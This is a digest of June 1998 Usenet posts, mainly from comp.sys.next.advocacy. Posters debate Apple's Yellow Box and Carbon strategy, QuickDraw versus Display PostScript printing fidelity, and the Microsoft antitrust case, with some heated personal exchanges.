>Developers can work on Carbon if they like, but I would guess they'd start
>to realize how much work, time, and money they'd save if they'd start
>developing software with YB instead.
No, that doesn't matter. It would take a good chunk of initial investment
or faith in the suggestions by the good people in c.s.n.a to realize that
YB was better. Carbon yields immediate results. They can start working
without having to spend a lot of time reading first.
But building an environment that could somehow preserve that investment in
understanding the basics of the Mac Toolbox and still deliver the power of
YB, that would be something else. At the same time, Apple shouldn't
alienate the former Next developers either, so the investment in
understanding the Foundation kit and App kit and so on also needs to be
preserved.
I don't think it'll be all-new, from-the-ground-up kinda stuff, but
something is missing currently. What Apple has delivered isn't complete
somehow...
-Bob Cassidy
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 08 Jun 1998 19:55:33 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35ac3fa0.4715635@news.supernews.com>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU>
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pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt), on 8 Jun 1998 05:21:24
GMT,
>In article <6l72if$mp9$1@news.smart.net>,
> kaz@smart.net (KAZ Vorpal) writes:
>> If it is bullshit to say that what hurts microsoft hurts the industry,
>> then all of the attacks on Microsoft are a lie in the first place.
>
>Is it just me, or is something wrong with the logic in that statement?
>Lets see,
>1) A big bully is beating up all the kids on the playground.
>2) The teacher tells the bully to go to the principal's office
> to have his backside paddled.
>3) The bully says, "What hurts me, hurts the playground."
>4) Along comes Mr. KAZ Vorpal and remonstrates the teacher and
> the other students for lying about the bully.
>
>I think Mr. KAZ Vorpal has a screw loose.
Yes, I thought the damn thing didn't make sense the first time I read
it, too. But your use of analogy confuses me, and I think obfuscates
the issue.
"If it is" = If
"bullshit" = incorrect
To say that what hurts microsoft hurts the industry" = rote
"then" = then
"all of the attacks on Microsoft are a lie" = {assuming the attacks
mentioned are the anti-trust case} breaking of a monopoly would be bad
for the industry the monopoly is in.
Well, I guess it comes down to if you believe an unnatural and unethical
monopoly (as opposed to "technical" or physical monopoly) then the
statement is indeed logical. So _your_ statement
"I think" = logical qualifier for debate
"Mr. KAZ Vorpal" = KAZ
"has a screw loose" = is incorrect to an incredible degree and
incredible amount of time
is also a logical statement, if you believe that anti-trust law is
valid. Of course, if you believe anti-trust law is valid, then you
already knew KAZ has a screw loose, eh?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: vik@loop.com (Vik Rubenfeld)
Newsgroups: comp.sys.next.advocacy
Subject: MacWeek Article on Future of Rhapsody
Date: Mon, 08 Jun 1998 10:34:47 -0700
Organization: All USENET -- http://www.Supernews.com
Message-ID: <vik-0806981034470001@p20.hwts04.loop.net>
What do you guys make of this article at:
<http://www.zdnet.com/macweek/1222/nw_rhapsody.html>
> Bereskin stressed, however, that the end of the strategy isn't the
> extinction of Rhapsody. The OS will live on as a product but won't
> evolve past the first customer releases for Intel-standard and PowerPC
> platforms due this fall.
>
>After Version 1.0, "There are no plans for releases of Rhapsody,"
Bereskin said.
I had been very interested in doing a Rhapsody application that could be
recompiled for cross-platform release on both Mac and Windows. This
article seems to indicate that using the Rhapsody API's for such releases
won't be possible, since Rhapsody will not be maintained.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Mon, 08 Jun 1998 18:36:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lhb04$k2a$1@nnrp1.dejanews.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6lfhs4$11oq1@odie.mcleod.net> <357B04DC.5085@earthlink.net>
In article <357B04DC.5085@earthlink.net>,
skellener@earthlink.net wrote:
> So what does that make a Microsoft product? The Plague?
No, the Industry Standard :) [while reading "Industry Standard" you should
imagine trumpets blaring and fireworks exploding]
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 Jun 1998 21:29:41 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6lhl45$fcs$1@camel21.mindspring.com>
References: <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <01bd92fd$4ccb1240$8383050a@bgravitt.CORP.VHA.COM> <35ac3fa0.4715635@news.supernews.com>
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In article <357C032E.C373357D@nstar.net> Michael J. Peck,
mjpeck@nstar.net writes:
>Umax (lost) $1.1 billion
$1.1 Billion Tiawanese, which is I believe around $40 million USD.
Matthew Cromer
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 Jun 1998 22:38:08 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lhp4g$2jua@yuma.ACNS.ColoState.EDU>
References: <rmcassid-1105981158230001@dante.eng.uci.edu>
<6j9ac3$tnp$1@ligarius.ultra.net>
<rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
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<6lfsck$1vga@yuma.ACNS.ColoState.EDU>
<35ac3fa0.4715635@news.supernews.com>
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In article <35ac3fa0.4715635@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) writes:
A very nice analysis. Thank you for clearing it up for me.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 8 Jun 1998 20:58:11 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6li1b3$bgl$1@crib.corepower.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
In article <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>, jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Hmm? Lawson's right; the NeXT people are arrogant, and almost never
> willing to admit that there might be a better alternative to the NeXT
> way of doing anything. Whether GX is better is really beside the point.
Hardly. I can think of plenty of faults with NEXTSTEP, and so can any
other NeXT user here. (You would've seen a lot more vocal complaints
about NEXTSTEP on c.s.n.advocacy before the Apple/NeXT deal. Now our
complaints have shifted, because although there are lots of benefits
to what's happening to it now, the Mac-ification of the OS is something
that many of us turned to NeXT to _escape_.)
That being said, I think that I can speak for most of us when I
say that we _do_ think that the NeXT way is _usually_ better than
the alternatives. Why else would we have shelled out lots of money
for an expensive operating system, specially customized our hardware
configurations so they would work with NEXTSTEP, suffered through the
relatively sparse software availability (you think Macs have it bad,
that's nothing compared to NEXTSTEP), etc.? Same reason why Mac users
stick to their Macs rather than going to Windows, most likely: because
they genuinely think that the Mac way is better. Likewise, NeXT users
genuinely think the NeXT way is (generally) better. Why else would
they choose NeXT over Macs or Windows or whatever; it's not like the
decision was forced upon us. You may not be aware of this, but _many_
NeXT users are former Mac users who _intentionally_ switched away for
something even better, in their eyes.
I personally think Mac users are just upset because they're used to
lording platform superiority over the hapless Windows users, and along
comes someone who thinks that there's something even better than their
blessed Macs. Not realizing that hypocrisy involved in calling those
people "arrogant", when really it's more of a comeuppance. Sour grapes.
But that's just IMHO.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 09 Jun 1998 01:09:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357C8B45.433CC087@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net> <slrn6nm6kb.huf.sal@panix3.panix.com> <357B1C46.48EF0A3F@nstar.net> <slrn6nmmvr.3r3.sal@panix3.panix.com> <357C009A.4F26CDC9@nstar.net> <slrn6np2h8.jsi.sal@panix3.panix.com>
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NNTP-Posting-Date: 9 Jun 1998 01:14:21 GMT
Salvatore Denaro wrote:
[nothing of value]
I see that the time to leave this thread came long ago.
MJP
"When you realize that you and Sal Denaro are the last two people
arguing in the thread, you're long overdue for a change of threads."
-- Michael Peck
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 8 Jun 1998 20:37:01 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6li3n7$12t24@odie.mcleod.net>
References: <6lfrn8$11sa3@odie.mcleod.net> <B1A0D422-1CA23@206.165.43.7>
Lawson English wrote in message ...
>All manipulations of the GX print image were still done using GX. While PDF
>doesn't look to be nearly as robust, ease-of-manipulation-wise, as GX,
>surely the situation isn't as bad as you suggest. As long as the image is
>in PDF format, you should still have WYSIWYG since the QDe primitives are
>basically the PDF operators. PDF => PS translation should be 100% accurate.
>PDF => raster printer should also be fine. What's the specific problem
>here?
>
>
The problem is that QDe primitives are NOT PDF operators and will NOT
produce the same output! Quick Draw has its own (stupid) way of doing
things and is not even remotely powerful enough to produce anything like the
range of possible PDF documents. As mentioned at WWDC and paraphrased here,
"We were giving users the wrong thing. For ten years they have been waiting
for mitered line ends."
QDe is no different architecturally than GDI and will have all of the same
non WYSIWYG problems. The whole point of DPS was to use the same renderer
for the screen and the printed page. As soon as the renderers are
different, WYSIWYG is effectively (or at least historically) impossible. No
other imaging model (Not GDI, Not QuickDraw, Not GX, Not Phigs, Not GL, ...)
has ever provided seamless WYSIWYG. Microsoft even tried to convince people
that they need GDI printers.
Why is this ? It is because using different renderers (with different
bugs/compromises/metaphors/capabilities) produces different output!
There are GDI to Postscript filters in Windows. How WYSIWYG are those ?
There are existing QuickDraw to PS translators. How WYSIWYG are those ?
Why do you think document producers might want DPS in the first place ?
Could it be because nothing else has ever provided WYSIWYG ? Why do you
suppose vector clip art is stored in EPS files ? Do you know what device
independence is ?
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 08 Jun 1998 23:41:51 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357C76BF.721F47E9@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
<6j2m0f$m0c$3@ligarius.ultra.net>
<rmcassid-1105981158230001@dante.eng.uci.edu>
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<rmcassid-1805981307530001@dante.eng.uci.edu>
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<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU>
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NNTP-Posting-Date: 8 Jun 1998 23:46:52 GMT
Larry Pyeatt wrote:
> That is patently untrue. Vendor *dependence* on Microsoft is part
> of the case, but certainly not the crux. The case is about
> MS leveraging its OS monopoly to destroy competition. Please read the
> DOJ case and come back when you understand it. Here is a bit of
> relevant text to get you started:
The case itself is about "tying", a purportedly illegal practice
involving the requirement of one product to be sold with another. The
crux of the case is that Microsoft, in tying Internet Explorer to the
Windows operating system, has leveraged *vendor dependence* on Windows
into successful market endeavors with regard to Internet Explorer.
> Don't forget Netscape, who bullied their way into the web browser
> market. Netscape is not really dependent on MS.
> Don't forget Digital Research, who bullied their way into the
> OS market. DR was not really dependent on MS.
Was your point intended to demonstrate that 'bullying' is merely common,
or were you going deeper to acknowledge the fact that 'bullying', as you
appear to define it, has little relevance to a case over 'tying'?
> Apple owns rights to the hardware platform. If they decide not
> to license it to competitors, then that is their right. Apple
> also owns MacOS. If they don't want to license it to competitors,
> then they are also within their rights. I don't see MS licensing
> Windows to any of their competitors.
The fact that UMAX and Motorola competed in the hardware business with
Apple is relevant? Merely in that it gives Apple an excuse? I don't
remember seeing anything in the DoJ statement regarding Microsoft's
inability to give hardware competition as an excuse for its practice, do
you?
> Yeah, DR DOS is doing pretty well. (sarcasm, in case you missed it)
> How about all those companies who made drive compression software?
> There are many more examples.
> MS is in the business of destroying competition.
Please post the parts of the DoJ statement regarding Digital Research
and Stac.
Please post the parts of the Sherman Anti-Trust act prohibiting the
destruction of competition.
Please post the parts of Microsoft's Company Statement regarding a
mission to 'destroy competition'.
> > Outperforming Microsoft may accomplish the same thing. Unfortunately,
> > Microsoft's competitors have done nothing of the kind. To "hurt" MS
> > would be to push consumers toward inferior competitors.
>
> I disagree. Netscape is better than I.E.,
If I.E.'s integration with the Windows operating system is an advantage
(apparently it is), then you cannot argue alone on the merits of
Netscape Navigator as a standalone product. I.E. may well be superior
product precisely because of the way Microsoft sells it.
> WordPerfect is better
> than MS Word.
In your subjective opinion, sir. Word Perfect sells on a great number of
operating systems. It is outsold by competitors everywhere.
> DR-DOS was/is better than MS-DOS.
Again, in your subjective opinion. The market decided otherwise.
> These products
> lost in the marketplace because MS owns the OS and used that to
> steal the market.
Microsoft owned MS-DOS. It did not own DR-DOS. How do you account for
your argument?
> It means that he presented a choice between two things when there
> are more choices available. I suddenly have the feeling that
> logic is not the forte of the MS advocate.
Nor are buzzwords and loosely-applied jargon. You are in the habit of
placing such things directly after commentary with no follow-up, as if
your argument were self-evident. Hmm.
> Predicting the long term is easy, you silly boy. In the long term,
> computers will get faster and easier to use. Companies will come
> and go. That is my prediction.
Is that the prediction you made in the previous posting, you silly boy?
I'll consider it a retraction.
> You really aren't good at logical thought, are you? Let me spell
> it out for you:
Thanks. That would be grrr-eat!
> MS says: "Hurt me, and you hurt the industry."
> They don't say whether they mean in the short term or the long term.
> I will concede that there is a POSIBILITY that there will be short
> term upheaval in the industry if MS is "hurt," although I don't
> really think it will be much.
> In the long term, the industry will be helped if MS is not allowed
> to destroy all competition.
This is your logic? You insert a qualifier (long term versus short term)
that has no relevance to Microsoft's claim, then reassert your silly
prediction.
Logic?
> I really don't see what you are complaining about. Maybe you didn't
> understand what I was saying.
No, that's precisely the problem. You keep peppering irrelevant and
scattered commentary with sophomoric remarks on my ability to follow
logic. No 'logic' is forthcoming from you, however. Would you step me
through a proof of your prediction that 'hurting' Microsoft is
beneficial to the computer industry?
Let me help you. Start with 'Assertion: ...', then proceed from there.
You know the drill, Professor. Come on.
> > "Put out of business"? Name these companies who are being "put out of
> > business". Netscape? Sun Microsystems? Apple Computer? Demonstrate that
> > any of the above are being "put out of business" by Microsoft.
>
> Digital Research. Netscape.
Digital Research was put out of business by Microsoft's tying practices?
Don't embarass this newsgroup any further; say what you mean and stop
wasting time. I just went to Netscape's home page, and apparently,
they're not out of business.
I know you have a 'logic' argument to show for this; by all means, let's
have it.
> All you have to do is read and think to see the truth. Oh, I forgot.
> Thinking is something you don't do very well. Sorry. Run along and
> play now.
Ah, we are back to the playground analogy, I see. I sense you're
embarassed by this confrontation, which is common among adolescents. Let
it out, friend, don't hold anything back from us.
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 00:19:38 GMT
Organization: I don't think so
Message-ID: <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com>
Alan Frabutt posted the following to comp.sys.mac.advocacy:
>> There's a lot that has been lost with GX and GX printing. The arrogance of
>> NeXT developers in presuming that THEY always have the best solution is
>> appalling.
>Damn, just when a lurking observer starts thinking people are treating
>Lawson _too_ rudely, he posts this *level* of drivel. However the
>entertainment value in mmalcom's replies are priceless.
Hmm? Lawson's right; the NeXT people are arrogant, and almost never
willing to admit that there might be a better alternative to the NeXT
way of doing anything. Whether GX is better is really beside the point.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 9 Jun 1998 02:44:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6np8cl.s2d.sal@panix3.panix.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net> <slrn6nm6kb.huf.sal@panix3.panix.com> <357B1C46.48EF0A3F@nstar.net> <slrn6nmmvr.3r3.sal@panix3.panix.com> <357C009A.4F26CDC9@nstar.net> <slrn6np2h8.jsi.sal@panix3.panix.com> <357C8B45.433CC087@nstar.net>
Have you ever added anything of value to any thread you have ever been
involved in?
You are truly pathetic.
What are you even doing on c.s.n.a? You know nothing about the technology,
show no interest in learning about it. You show no respect to anyone in
the newsgroup. You offer nothing of any value. Have you ever been involved
in a thread where you didn't insult people?
Do everyone a favor and go elsewhere. Do yourself a favor and grow up.
--
sal@panix.com
Salvatore Denaro
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 8 Jun 1998 21:53:08 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6li85t$gou1@odie.mcleod.net>
References: <6lfrn8$11sa3@odie.mcleod.net> <B1A0D422-1CA23@206.165.43.7> <6li3n7$12t24@odie.mcleod.net>
Let me start by saying that I have tremendous respect for NeXT's your past
work and
the technology that Apple has purchased. This letter should simply indicate
that Apple has a lot of convincing to do and a very skeptical audience.
Let me also say that I am willing to make many compromises to be rid of the
$20/copy deployment license issue. I just think that boldly unlikely
statements/promises are being made.
How 1:1 is the mapping of current QuickDraw to PS printers ?
Why isn't current QuickDraw WYSIWYG ? Why is it that no display imaging
system except DPS has ever to date provided WYSIWYG ? As soon as there are
two different renderers, you WILL get different output. When the different
renderers are as architecturally different as QuickDraw and PFD/PS, it is
just about hopeless.
"Appearance" has zero correlation between
QuickDraw and PS/PDF. The placement of drawn elements can not be made
adequately device independent in current QuickDraw. Even line widths, line
ends, font rendrers, white space preservation at low resolution and clipping
paths are unlikely to correlate.
Now, if you Apple is saying that they are completely reinventing QuickDraw,
changing its imaging model and metaphor, and providing all of the
operations supported by PDF, why are you calling it QuickDraw ? Would it
share one line of code with current QuickDraw ?
What makes Apple think that Apple will finally (after 3 tries by my count)
succeed in producing WYSIWYG between two different graphics APIs ? How is
QuickDraw Extended architecturally any different from GDI ? Have they
actually used any Postscript output from QuickDraw ? Why does Apple suppose
Quark and Illustrator and Corel Draw etc. have historically been forced to
include their own PS sub-systems ? What was that failed movement toward
QuickDraw laser printers I read about a few years ago ?
Apple and NeXT, I respect your past work.
You are saying things that I have a very hard time believing. People
(including Apple) have
been saying the same thing for 15+ years and they all were wrong. Convince
me that you will succeed now where all others (and you) have failed before.
Thank you,
Michelle L. Buck
Vice President EMB & Associates, Inc.
PS. I am willing to give up WYSIWYG to get rid of the $20/copy fee. I am
even willing to give up remote display (although I find it disappointing and
unnecessary).
I just think it is absurd to claim WYSIWYG in this proposed imaging API.
Don't think I am some crack pot that will never be happy with anything but
DPS. To the contrary, I have in the past been described as a GL expert
among other things. I just recognize the relative strengths of different
systems.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 08 Jun 1998 23:19:30 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357C7182.C5D07FBB@nstar.net>
References: <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <01bd92fd$4ccb1240$8383050a@bgravitt.CORP.VHA.COM> <35ac3fa0.4715635@news.supernews.com> <6lhl45$fcs$1@camel21.mindspring.com>
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NNTP-Posting-Date: 8 Jun 1998 23:24:26 GMT
Matthew Cromer wrote:
>
> In article <357C032E.C373357D@nstar.net> Michael J. Peck,
> mjpeck@nstar.net writes:
> >Umax (lost) $1.1 billion
>
> $1.1 Billion Tiawanese, which is I believe around $40 million USD.
Thank you for that correction. My apologies for the erroneous remark.
MJP
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 8 Jun 1998 23:11:42 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6li95f$bl6$1@crib.corepower.com>
References: <6lfrn8$11sa3@odie.mcleod.net> <B1A0D422-1CA23@206.165.43.7> <6li3n7$12t24@odie.mcleod.net> <6li85t$gou1@odie.mcleod.net>
In article <6li85t$gou1@odie.mcleod.net>, "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> I just think it is absurd to claim WYSIWYG in this proposed imaging API.
I think that it's WYSIWYG as long as you stick to the PS/PDF operators
and such in the Yellow API. Of course, Carbon apps won't. But it's not
like you can go replace the imaging model underneath a bunch of MacOS
apps and magically make them WYSIWYG without changing any code, anyway.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 01:13:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6np32f.jsi.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu>
On Mon, 08 Jun 1998 12:46:40 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>Right. But in the mean time, YB is still tied to Obj-C. You can write in
>Java, but you can't really extend YB properly without wrapping things up
>nicely.
Not true.
You can extend Obj-C classes from Java and Java classes from Obj-C. You
can add JavaBeans to Apps built in IB with a drag and drop, according to
some posts on the Rhapsody email list.
>Carbon yields immediate results. They can start working
>without having to spend a lot of time reading first.
I would say it is the other way around for new development. You can get
up and running in IB+PB in a couple of days. You can have a decent DB
front end in a day and a half from opening the box.
The toolbox is a lot more work, unless you have a ton of MacOS code you
want to keep.
--
sal@panix.com
Salvatore Denaro
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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From: pr_posts@see_sig.net (Phil Robinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc
Subject: NeXT hardware websites/FAQs?
Date: Mon, 08 Jun 1998 23:05:36 -0500
Organization: Ameritech.Net http://www.ameritech.net/
Message-ID: <pr_posts-0806982305360001@dyn1-tnt4-163.chicago.il.ameritech.net>
NeXT hardware websites/FAQs?
Does anyone know of any good websites for NeXT hardware information or
know where I can find any FAQs on NeXT hardware? There seems to be plenty
of info for NeXTstep but thats about it. I seem to recall a website with
a ton of NeXT links but it seems to have vanished. Any help would be
appreciated. Thanks.
--
Note: In order to reply you must use the email address below.
Just remove the NOSPAM part from the address:
Phil Robinson
pr_posts@NOSPAMameritech.net
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 08 Jun 1998 23:01:30 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0806982301310001@dialin33413.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>
In article <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> Keep Life simple ± don't elevate all three to any organized plan. YB might
> be Apple's vestigal artifact causing confusion. Obj-C is MacOSX basecode
> with nice Carbon API's for old Mac API's AND a 1:1 Java firstlclass API for
> the C++/Java gifted. One of the nice things YB allows is Apple to talk about
> Obj-C technology without having to mention Obj-C to people. (you understand
> that problem)
I'm feeling better about YB + Java and all that, thanks to Sal. Still not
content on Carbon's place though.
> Carbon a retrofit gifted with YB Services, allows old Mac apps to gain a
> healthy First Class status on the MacOSX desktop, period. That's it - all of
> it. Mac Developer's then write infintesimally into the future on their
> favorite environment. Mac, Java, Obj-C.
My concern is what camp Apple falls into. Apple has 15 months of future
development and releases that prevent the use of YB. So we either get
Carbon development, which makes we wonder about it's place and value to
the YB/Java community, or we get both Carbon and YB. I don't see the
latter happening, for some reason, though.
> If there is any unifying plan that your previous post begs, it doesn't exist
> beyond that which Rhapsody (Ooops bad word) now YB + Carbon adds. New
> features yet to be released will provide "direction" which is something you
> were looking for out of some unified plan.
Direction, yes. Apple has created considerable problems for some of us
over the last year or so. It has become virtually impossible for anyone
trying to plan for an Apple OS future of late. WWDC provides value to me
not as a developer of shrink-wrap apps (which I'm not) but as an
adminstrator and solutions provider to a small organization. I have
certain needs that need to be addressed. Apple is apparently going to
address them, but where, and how? In YB so that I can use the non-G3 PCI
PowerMacs that I continued to purchase? or in Carbon forcing me to buy new
hardware? Should I keep investing in YB for Rhapsody? Or should I jump to
NT and take advantage of YB should it continue, in the mean time being
able to do WO development which I currently cannot do. I don't feel that I
can count on any of the new APIs going to NT, because they might be Carbon
APIs which might not go to NT.
The Rhapsody/MacOS issue was easy for me to address - I would easily
abandon MacOS in many, many cases. But the API issue is not so easy. Now
that I have waited patiently to decide on a direction, the time has come
for me to choose. And along the way Apple has created more doubt than
there ever was before _for me_.
I don't think I realized this when I wrote that stuff before, but it's how
I feel now. Unfortunately, I fall into a category that I don't think Apple
recognizes. I have no strong loyalties to either set of APIs, but I need
to start working and have some assurances that my efforts will not be
wasted. I don't have that now.
